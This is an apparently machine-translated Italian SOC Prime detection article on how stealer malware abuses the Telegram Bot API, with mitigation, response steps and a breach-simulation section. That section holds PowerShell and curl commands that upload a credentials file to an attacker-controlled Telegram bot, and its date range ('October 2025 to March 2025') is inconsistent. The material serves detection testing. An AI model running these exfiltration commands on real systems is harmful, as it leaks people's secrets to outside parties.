SOC Prime Bias: Medio

17 Dec 2025 14:33 UTC

Le Cronache della Rilevazione & Risposta: Esplorando l’Abuso di Telegram

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
Le Cronache della Rilevazione & Risposta: Esplorando l’Abuso di Telegram
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

L’articolo spiega come diversi attori delle minacce abusano dell’API Bot di Telegram e dei canali nelle imprese per il comando e controllo, l’esfiltrazione di dati e il monitoraggio delle vittime. Famiglie di malware come DeerStealer, Lumma Stealer, Raven Stealer e un builder trojanizzato di XWorm codificano hard bot token o ID di canali e chiamano endpoint come /sendMessage e /sendDocument. Include query di rilevamento per Microsoft Defender e Sentinel focalizzate su righe di comando dei processi sospetti e traffico verso api.telegram.org. La guida chiave è stabilire l’uso legittimo di Telegram e bloccare l’API dove non è necessaria.

Indagine

Il SOC di NVISO ha segnalato quattro tentativi di intrusione osservati tra ottobre 2025 e marzo 2025 in cui Telegram è stato utilizzato in diversi punti del ciclo di attacco. Il resoconto mette in evidenza campagne come Lunar Spider che monitorano le vittime tramite falsi CAPTCHA, DeerStealer che invia notifiche agli operatori tramite curl, Lumma Stealer che preleva dettagli C2 dai canali di Telegram, Raven Stealer che esfiltra collezioni archiviate, e un builder di XWorm che si affida all’API Bot sia per l’esfiltrazione che per C2. Gli analisti hanno estratto indicatori inclusi righe di comando dei processi, destinazioni di rete e nomi di file rilevanti.

Mitigazione

Stabilire un baseline per l’uso legittimo di Telegram, quindi bloccare l’accesso in uscita a api.telegram.org in ambienti dove non è richiesto. Monitorare processi non comuni (ad es. curl, powershell, wscript) che avviano connessioni all’API e indagare su qualsiasi interazione scriptata con l’API Bot. Affinare i rilevamenti per sopprimere comportamenti attesi come i browser noti che lanciano telegram.exe e dare priorità a richieste di long-polling o stile webhook provenienti da binari sospetti o host inaspettati.

Risposta

Quando viene rilevata un’attività, isolare l’endpoint affetto, fermare i processi sospetti e preservare gli argomenti della riga di comando insieme a DNS, proxy e telemetria di rete. Eseguire analisi forensi approfondite per identificare payload associati a campagne come DeerStealer o Raven Stealer. Ruotare eventuali bot token esposti, disabilitare o revocare canali di Telegram abusati e contenere la diffusione bloccando indicatori correlati. Se l’abuso è confermato, escalare il reporting tramite i canali ufficiali di Telegram e documentare l’incidente per prevenire recidive.

Flusso d’attacco

Esecuzione di simulazione

Prerequisito: Il controllo pre-volo di telemetria e baseline deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento.

  • Narrativa & Comandi d’Attacco:
    Un avversario con un host Windows compromesso vuole esfiltrare un file di credenziali raccolte (creds.txt) a un bot di Telegram che controllano. Per evitare di memorizzare un binario personalizzato, utilizzano il curl.exe nativo (installato tramite funzionalità opzionali di Windows 10) per fare POST del file a https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. Il comando è eseguito da PowerShell, assicurando che l’evento di creazione del processo registri una riga di comando che contiene “api.telegram.org”. Poiché il processo è curl.exe, il filtro della regola (InitiatingProcessFileName: "telegram.exe") non sopprime l’allerta.

    # Variabili (sostituire con valori controllati dall'attaccante)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # Assicurati che il file esista (dump delle credenziali simulato)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # Esegui l'esfiltrazione tramite l'API Bot di Telegram
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • Script di test di regressione: Lo script sotto riproduce i passi esatti, adatto per esecuzioni BAS automatizzate.

    #--------------------------------------------
    # Test di Regressione – Esfiltrazione API Telegram
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # Crea spazio di lavoro temporaneo
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # File di credenziali simulato
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # Costruisci URL API
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # Invoca l'esfiltrazione
    Write-Host "[*] Esfiltrando $CredFile a Telegram..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # Indicatore di successo semplice (non verifica la consegna)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Comando di esfiltrazione eseguito."
    } else {
        Write-Error "[-] Esfiltrazione fallita."
    }
  • Comandi di pulizia: Rimuovere il file temporaneo e la directory; opzionalmente terminare qualsiasi curl.exe processi rimasti.

    # Pulisci artefatti temporanei
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] Pulizia completata."